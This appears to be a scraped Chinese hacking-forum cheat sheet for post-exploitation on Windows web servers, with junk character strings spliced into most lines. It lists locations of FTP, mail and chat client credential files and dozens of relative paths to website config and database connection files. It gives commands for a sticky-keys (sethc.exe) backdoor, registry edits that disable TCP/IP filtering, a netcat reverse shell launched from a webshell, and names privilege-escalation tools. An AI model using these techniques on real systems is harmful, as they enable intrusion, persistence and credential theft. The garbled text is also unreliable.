" l! {/ P9 C9 a2 s3 O- dc:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
# a( |' F' Y; tC:\Program Files\Foxmal\accounts.cfg
# R% Y, e- [8 s9 ^2 ~( h1 m" ZC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
* e5 m. d1 t8 z  @! bc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
# Y0 D! d; [- j: o. q/ W, C% {C:\Program Files\FlashFXP\FlashFXP.ini
% q8 Q/ b; {0 ]: ^C:\Program Files\FlashFXP\flashfxp.exe
% c$ _, h" S+ ]: f6 [c:\Program Files\Oracle\bin\regsvr32.exe
& e( X- r( ~3 h5 |5 rc:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
& l' u! o2 D+ O" L. Y: i/ Nc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

! T$ V3 {3 Q' i" r3.网站相对路径:
3 W9 [) r( I- `7 [- y- `
+ x$ i4 T0 Z- ^" ]/config.php
../../config.php
  A0 C& B2 _2 v* L+ h- ^# _3 \% N: T: l../config.php
+ d0 E" e2 n/ n8 F4 f../../../config.php
/config.inc.php
./config.inc.php
) C9 N# j2 n, m+ ]8 y../../config.inc.php
  e1 t4 F# V! G3 ?6 f; S../config.inc.php
, u& G7 ]& {/ f0 @- a2 d! N# l../../../config.inc.php
/ Z6 m" s+ P! T! O/conn.php
./conn.php
../../conn.php
../conn.php
& w% c7 i, w  n( i- E. l$ `0 Y../../../conn.php
/conn.asp
) E+ u  r7 ]: D; P% P./conn.asp
6 J: u" x4 V/ W9 |2 V# Y. w2 Z../../conn.asp
../conn.asp
* n% y2 _$ J- |1 o0 Y+ ~& t../../../conn.asp
+ U1 T" r2 m, T1 r/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
/config/config.php
../../config/config.php
5 x- V* }3 D, [../config/config.php
5 N5 c' \2 g' h9 Y../../../config/config.php
/config/config.inc.php
4 Q" G8 V7 a1 u0 M$ V! j) D, [! c./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
' r' q. V& @5 B. u  W/config/conn.php
8 ~+ Z1 G8 @. m./config/conn.php
) p6 K8 G1 V- K6 q../../config/conn.php
- _: s- Y* L: Y$ b../config/conn.php
../../../config/conn.php
# u( n, i1 n: d4 y: G# Y/config/conn.asp
( A3 P( P# m9 U% i' q./config/conn.asp
../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
% D: u7 f1 _4 v# E% T" Z' ?3 `/config/config.inc.php
./config/config.inc.php
2 R, b6 H# i, ]7 V../../config/config.inc.php
* X- Z8 m+ [% ]; O../config/config.inc.php
" N7 ]; T$ m$ i& _2 f& S; Z5 A../../../config/config.inc.php
) p% }& R7 {3 ~5 C1 l/data/config.php
+ C9 z9 X0 o& L) h" O- ~( q, c* _../../data/config.php
: k( T9 ?1 V1 ?5 W! R../data/config.php
6 R* K1 U1 i( b2 B  g, `$ S../../../data/config.php
/data/config.inc.php
./data/config.inc.php
1 l1 S5 J7 @. O: _, f../../data/config.inc.php
% Q* [  O3 c6 O* @../data/config.inc.php
+ @8 |* r: a& F& n& p../../../data/config.inc.php
; [  [1 G* W  e, j/data/conn.php
./data/conn.php
% y5 L$ S- R: ]6 I3 k* Y9 f- d2 r4 o../../data/conn.php
../data/conn.php
6 b- |7 q/ H& |( ]2 T( I9 f../../../data/conn.php
/data/conn.asp
./data/conn.asp
5 j1 C; D0 n1 a( O../../data/conn.asp
../data/conn.asp
- k. Z/ D4 m. J../../../data/conn.asp
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
* O3 j) c; A  Q" t+ t: q# Y../data/config.inc.php
' y+ k4 P0 K' M../../../data/config.inc.php
/include/config.php
2 N8 Z# g6 s# n../../include/config.php
../include/config.php
../../../include/config.php
( V7 s: M, L1 o$ a/include/config.inc.php
9 I) @) e- C! K8 J- F./include/config.inc.php
% F! K+ E' |. @. k../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
0 Q. f% t& ]( J2 t$ ]9 w+ c* J/include/conn.php
./include/conn.php
../../include/conn.php
& _6 @/ z$ L- P* |../include/conn.php
../../../include/conn.php
/include/conn.asp
/ R! X/ `' _9 `( p, D2 c./include/conn.asp
../../include/conn.asp
../include/conn.asp
" b% ~, l3 ?6 |% S& C+ ]7 S../../../include/conn.asp
5 l2 M# i9 y+ Y; G6 H: v* ~/include/config.inc.php
5 a) ]1 `/ S& r: d./include/config.inc.php
- Q# t* F9 a" |; ^1 ?' e3 e3 {../../include/config.inc.php
! p$ t" q# R: g5 k" v../include/config.inc.php
9 r/ C  T; ^! z8 q../../../include/config.inc.php
/inc/config.php
' F* e& c) m* M' R- M" `- s../../inc/config.php
+ p2 N! F+ k4 S# b8 Q  {8 L../inc/config.php
../../../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
' b; Q# I) L% x5 [- _./inc/conn.php
/ d( M' r- ?0 z0 @  G- J../../inc/conn.php
* u8 Z& i9 H3 s7 b& W# |../inc/conn.php
# J, y# }3 b" F& |../../../inc/conn.php
6 V# r4 J1 F& f0 C! ?6 Q0 o3 H/inc/conn.asp
/ w$ g3 B! K5 g./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
( y8 [+ a4 h; }$ A$ m4 a/inc/config.inc.php
./inc/config.inc.php
  ]3 v. k2 J* Y- h( \../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/index.php
# b, n% u$ g7 {; A8 U( N./index.php
../../index.php
../index.php
! B; l4 J6 Z0 q' v) T! N: P../../../index.php
. M# k0 p7 Y3 ~/index.asp
2 E6 _, B3 ^) D2 d./index.asp
../../index.asp
3 Q; @5 Q' R) r../index.asp
( G. B7 C( N9 o../../../index.asp
' i  o6 g& |; v" k0 K替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s

1 w1 b8 U3 D! @( H. s( U　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
; V& Z( D# a8 f1 a* Y% v4 ?4 O
　　del c:\windows\system32\sethc.exe
0 K) V- @4 C+ u3 K
9 e: p. n  Z' T　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

; v/ b1 f4 |- }/ u7 o　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

# |% K5 ^8 n, k/ `, V; E6 T　　attrib c:\windows\system32\sethc.exe +h +r +s
5 P; B" J. v( E; I# u
1 q7 q1 k9 q8 K6 X$ v7 r' k7 J　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
) L2 k  j9 y: V& W, CHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
& j  I: Z! q9 S# Z! y命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

+ f3 Z' ]1 V; j再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
; l3 E. _! |% Zregedit -s D:\c.reg
9 O/ Y6 R5 ]) A' b- L3 E! `, u导入注册表即可
5 J2 `7 `) B0 i6 x0 C
webshell提权小技巧
' u. I: W& ^5 N, F. {) ?cmd路径:
% j7 R3 O) B+ k! Wc:\windows\temp\cmd.exe
nc也在同目录下
9 |9 |# I& P0 d例如反弹cmdshell：
# ]" \" Z7 [2 Q! w2 x$ C2 ~% [( ["c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
2 Q' B& E- C  P6 V
" _2 P8 |$ a* w/ p& B/ ]) |7 y而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
) [' R( }% p& c- a% k. y这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功